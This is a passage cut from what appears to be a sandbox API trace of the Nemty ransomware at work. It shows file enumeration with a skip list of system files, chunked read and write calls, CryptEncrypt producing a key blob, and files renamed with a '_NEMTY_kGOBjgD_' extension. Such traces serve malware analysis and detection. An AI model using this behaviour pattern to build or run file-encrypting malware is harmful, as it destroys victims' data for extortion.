hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.316] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.326] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.335] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.335] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.354] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.354] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.373] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.392] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.392] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.402] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.411] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.417] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0143.423] CloseHandle (hObject=0xffffffff) returned 0 [0143.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0143.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0143.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0143.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c0 [0143.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0143.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0143.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\flyout.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\flyout.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\flyout.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\flyout.html._nemty_kgobjgd_")) returned 0 [0143.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0143.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0143.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0143.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0143.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0143.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0143.424] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="...") returned 1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="$RECYCLE.BIN") returned 1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="rsa") returned -1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="NTDETECT.COM") returned -1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="ntldr") returned -1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="MSDOS.SYS") returned -1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="IO.SYS") returned -1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="AUTOEXEC.BAT") returned 1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="desktop.ini") returned 1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="CONFIG.SYS") returned 1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="RECYCLER") returned -1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="BOOTSECT.BAK") returned 1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1 [0143.424] lstrcmpiW (lpString1="gadget.xml", lpString2="programdata") returned -1 [0143.425] lstrcmpiW (lpString1="gadget.xml", lpString2="appdata") returned 1 [0143.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0143.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0143.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0143.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0143.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0143.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0143.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0143.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0143.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0143.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0143.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0143.425] Sleep (dwMilliseconds=0x5) [0143.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x924c7d0, dwHighDateTime=0x1d561e8)) [0143.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x924c7d0, dwHighDateTime=0x1d561e8)) [0143.440] GetLastError () returned 0x5 [0143.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0143.440] GetLastError () returned 0x5 [0143.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0143.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.440] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0143.440] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0143.440] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0143.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0143.440] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e91c | out: pszString="ObDVInhxkcUzDvS8XjK2COcHpL1g0r/Mp+Sn+HOOTVlqXiej+hl24FH7RGaqkjr0\r\nvXPB8gPK0vsknRWrxOPZvSmAtU5MWCs6giLHaqQc0SXzZPiPJTOk2c0uHSQWL6YW\r\nr7dg6DGl7ASuwI0gk7biMxsd56CZWPWzPOI5KCaX9alDTv9pSBXXnhkkhRjfGIU3\r\n2S30x0tL6xqR+zqtnaVtMQIqLWG/QoJNLcVYy8vEciXuBNi5fgFh0TkyQXJt1fxi\r\n5z6Xz/YaqZsfd5AeoP0+gziDm4Tgr3CTFrGdmjO1gEbdHlISy/EakI1bHXsHYX+Q\r\nEj+Qdah/BEjuPIjbI+PGuw==\r\n", pcchString=0x653e91c) returned 1 [0143.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0143.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0143.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0143.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0143.440] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.447] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0143.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0143.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.447] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.457] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.457] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.466] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.466] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.476] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.476] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.476] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.476] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.485] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.485] ReadFile 